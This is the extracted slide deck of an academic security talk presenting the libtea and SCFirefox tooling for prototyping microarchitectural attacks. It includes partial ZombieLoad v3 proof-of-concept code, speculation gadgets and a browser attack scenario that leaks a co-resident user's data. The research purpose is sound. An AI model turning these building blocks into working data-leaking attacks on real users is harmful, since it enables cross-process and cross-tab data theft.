Rapid Prototyping for Microarchitectural Attacks

USENIX Security Symposium 2022

Catherine Easdon  
Dynatrace Research & Graz  
University of Technology

Michael Schwarz  
CISPA Helmholtz Center for  
Information Security

Martin Schwarzl  
Graz University of Technology

Daniel Gruss  
Graz University of Technology
#define pointer_chaser
*((uintptr_t*)********(uintptr_t********)chase_me[8])

#define speculation_end(label)
asm goto("jmp %l0" : : "memory" : label);
label##_retp: asm goto("lea %l0(%rip), %rax\n movq %rax,(%rsp)\n ret\n" : :
   : "memory", "rax" : label);
label: asm volatile("nop");

// try to get JIT to use shl instead of imul
index = (((index << 12)|0) & (32*1024*1024-1))|0;

// try to trigger collision in PHT
if(temp[0] < 1024) temp[0] ^= arg;
if(temp[0] < 1024) temp[0] ^= arg;
// repeat *100(ish)
Motivation

- Microarchitectural attacks are complex to implement
Motivation

- Microarchitectural attacks are complex to implement
- This slows progress in attack research and is a barrier to entry
Motivation

- Microarchitectural attacks are complex to implement
- This slows progress in attack research and is a barrier to entry
- It makes teaching microarchitectural security challenging
Motivation

- Microarchitectural attacks are complex to implement
- This slows progress in attack research and is a barrier to entry
- It makes teaching microarchitectural security challenging
- It increases the risk that attack mitigations are incomplete
Motivation

• What does the attack development process look like in these three contexts: research, teaching, and mitigation?
Motivation

• What does the attack development process look like in these three contexts: research, teaching, and mitigation?

• How similar are they?
Motivation

• What does the attack development process look like in these three contexts: research, teaching, and mitigation?
• How similar are they?
• Could we facilitate the development process for all three?
Systematization
Methodology

- Literature Review
  - All top 4 papers
  - 2015-20

- Expert Interviews
  - 8 academia
  - 8 industry

- User Study
  - 28 graduate students
Research Topics

- Attack Building Blocks
- Microarchitectural Control
- Languages and Tooling
- Development Process
Key Insights

- *Evolutionary prototyping* (5/10 interviewees) vs. *throwaway prototyping*
Key Insights

- *Evolutionary prototyping* (5/10 interviewees) vs. *throwaway prototyping*
- Always begin in C/ASM for maximum control
Key Insights

- **Evolutionary prototyping** (5/10 interviewees) vs. **throwaway prototyping**
- Always begin in C/ASM for maximum control
- Custom drivers or a custom OS often required for privileged building blocks
Key Insights

- *Evolutionary prototyping* (5/10 interviewees) vs. *throwaway prototyping*
- Always begin in C/ASM for maximum control
- Custom drivers or a custom OS often required for privileged building blocks
- PoCs can be powerful communication tools, but complexity makes them less effective
libtea

Cross-platform attack development API
Cross-platform attack development API

- 142 functions for common attack building blocks
Cross-platform attack development API

- 142 functions for common attack building blocks
- Linux, Windows, Android (x86, AArch64, limited PPC64)
Cross-platform attack development API

- 142 functions for common attack building blocks
- Linux, Windows, Android (x86, AArch64, limited PPC64)
- Single C header with supporting kernel driver
Cross-platform attack development API

- 142 functions for common attack building blocks
- Linux, Windows, Android (x86, AArch64, limited PPC64)
- Single C header with supporting kernel driver
- Builds upon the PTEditor and SGX-Step frameworks
• Provides *libtea* cache and paging functions in JS
• Provides *libtea* cache and paging functions in JS
• Available in the Spidermonkey shell and directly in the browser
• Provides *libtea* cache and paging functions in JS
• Available in the Spidermonkey shell and directly in the browser
• Limitation: overhead from the JSAPI wrapper
Rapid Prototyping

Hypothesis -> libtea -> SCFirefox -> Attack PoC
Case Study: Zombieload.js
• Sample data from the line fill buffers [Sch+19b]
- Sample data from the line fill buffers [Sch+19b]
- Triggered by a ‘zombie load’ that faults and triggers a microcode assist
• Sample data from the line fill buffers [Sch+19b]
• Triggered by a ‘zombie load’ that faults and triggers a microcode assist
• Data is transiently returned - but not the data we tried to access!
Case Study: zombieload.js

For ZombieLoad variant 3, we need four building blocks:
For ZombieLoad variant 3, we need four building blocks:

1. Two mappings for the same physical address
For ZombieLoad variant 3, we need four building blocks:

1. Two mappings for the same physical address
2. Accessed bit cleared on one mapping to trigger a microcode assist
For ZombieLoad variant 3, we need four building blocks:

1. Two mappings for the same physical address
2. Accessed bit cleared on one mapping to trigger a microcode assist
3. A way to flush the other mapping at the same time
For ZombieLoad variant 3, we need four building blocks:

1. Two mappings for the same physical address
2. Accessed bit cleared on one mapping to trigger a microcode assist
3. A way to flush the other mapping at the same time
4. A way to transiently encode and recover the leaked data
ZombieLoad v3 with libtea

```c
libtea_instance* instance = libtea_init(); libtea_pin_to_core(0,3);
libtea_calibrate_flush_reload(instance);
char* map1 = libtea_open_shared_memory(4096, NULL); memset(map1, "1", 4096);
char* map2 = libtea_remap_address(instance, (size_t) map1, LIBTEA_PAGE, 4096,
                                  LIBTEA_READ_WRITE, true);
libtea_clear_addr_page_bit(instance, map2, 0, LIBTEA_PAGE_BIT_ACCESSED);

while (true) {
    libtea_flush(map1);
    libtea_speculation_start(spec);
    libtea_access(0);
    libtea_cache_encode(instance, map2[0]*4096);
    libtea_speculation_end(spec);
    libtea_cache_decode_histogram_iteration(instance, true, true, 0, "A", "Z", hist);
}
```
ZombieLoad v3 with libtea

```c
libtea_page_entry p = libtea_resolve_addr(instance, map1, 0);
libtea_print_page_entry(p.pte);
libtea_page_entry p2 = libtea_resolve_addr(instance, map2, 0);
libtea_print_page_entry(p2.pte);
```

```
+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+
| 1| 0x30113d |1|0|0|0|0|1|1|0|0|1|1|1|
+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+--------+

Leakage! We see that the sibling hyperthread (core 7) is loading ‘X’.
```
Memory deduplication provides shared mappings and clears the accessed bit for us ✓
• Memory deduplication provides shared mappings and clears the accessed bit for us ✓
• Can we leak without a flush?
Memory deduplication provides shared mappings and clears the accessed bit for us.

Can we leak without a flush?

**Discovery**

`clflush` is not needed - a speculative access of `map1` induces a cache-line conflict, making ZombieLoad feasible in a sandbox.
Prototyping with SCFirefox

SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0', 4096);
var map1 = SCFirefox.open_shared_memory(4096);
var map2 = (map1, 4096, SCFirefox.PROT_WRITE);
SCFirefox.clear_addr_page_bit(SCFirefox.get_virtual_addr(map2), 0, SCFirefox.PAGE_BIT_ACCESSSED);

- **SCFirefox** lets us quickly port our native code and begin replacing each building block
Prototyping with SCFirefox

SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0', 4096);
var map1 = SCFirefox.open_shared_memory(4096);
var map2 = (map1, 4096, SCFirefox.PROT_WRITE);
SCFirefox.clear_addr_page_bit(SCFirefox.get_virtual_addr(map2), 0,
SCFirefox.PAGE_BIT_ACCESSED);

- **SCFirefox** lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0', 4096);
var map1 = SCFirefox.open_shared_memory(4096);
var map2 = (map1, 4096, SCFirefox.PROT_WRITE);
SCFirefox.clear_addr_page_bit(SCFirefox.get_virtual_addr(map2), 0, SCFirefox.PAGE_BIT_ACCESSED);

- **SCFirefox** lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM
  - Spectre v1 gadget
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flush_reload();
SCFirefox.scfirefox_memset(map1, '0', 4096);
var map1 = SCFirefox.open_shared_memory(4096);
var map2 = (map1, 4096, SCFirefox.PROT_WRITE);
SCFirefox.clear_addr_page_bit(SCFirefox.get_virtual_addr(map2), 0, SCFirefox.PAGE_BIT_ACCESSED);

- **SCFirefox** lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM
  - Spectre v1 gadget
  - WASM timer thread
SCFirefox.init();
SCFirefox.pin_to_core(3);
SCFirefox.calibrate_flushReload();
SCFirefox.scfirefox_memset(map1, '0', 4096);

var map1 = SCFirefox.open_shared_memory(4096);
var map2 = (map1, 4096, SCFirefox.PROT_WRITE);

SCFirefox.clear_addr_page_bit(SCFirefox.get_virtual_addr(map2), 0, SCFirefox.PAGE_BIT_ACCESSED);

- **SCFirefox** lets us quickly port our native code and begin replacing each building block
- But JSAPI overhead means core attack code must still be in pure JS/WASM
  - Spectre v1 gadget
  - WASM timer thread
  - Evict+Reload covert channel
• Attack scenario: trick victim into opening a link and reading or leaving the tab idle for > 5 minutes
Attack PoC

- Attack scenario: trick victim into opening a link and reading or leaving the tab idle for $> 5$ minutes
- Leak $1.48$ B/s with $88.8\%$ accuracy
Attack scenario: trick victim into opening a link and reading or leaving the tab idle for $> 5$ minutes

- Leak 1.48 B/s with 88.8% accuracy
- Comparable to RIDL PoC (1B/s) [Sch+19a]
• Attack scenario: trick victim into opening a link and reading or leaving the tab idle for $> 5$ minutes
• Leak 1.48 B/s with 88.8% accuracy
• Comparable to RIDL PoC (1B/s) [Sch+19a]
• But: need to reliably be on the same core
Summary

- First step towards establishing a methodology and tooling for microarchitectural attack development

libtea and SCFirefox are available on Github at https://github.com/libtea/frameworks - contributions welcomed!
Summary

- First step towards establishing a methodology and tooling for microarchitectural attack development
- Facilitate attack development and communication by tackling PoC complexity
Summary

- First step towards establishing a methodology and tooling for microarchitectural attack development
- Facilitate attack development and communication by tackling PoC complexity
- *libtea* and *SCFirefox* are available on Github at https://github.com/libtea/frameworks - contributions welcomed!
Any questions?
We would like to thank Martin Deixelberger, Moritz Lipp, Claudio Canella, Jo van Bulck, Christopher Fletcher, our expert interviewees, and our user study participants for their contributions to this project.

This work was supported by generous gifts from Red Hat, Arm, Amazon, and Cloudflare. All research findings and opinions are those of the authors and do not necessarily reflect the views of the funding parties or of the authors’ affiliations.

SCFirefox is not officially associated with Mozilla or its products.
References

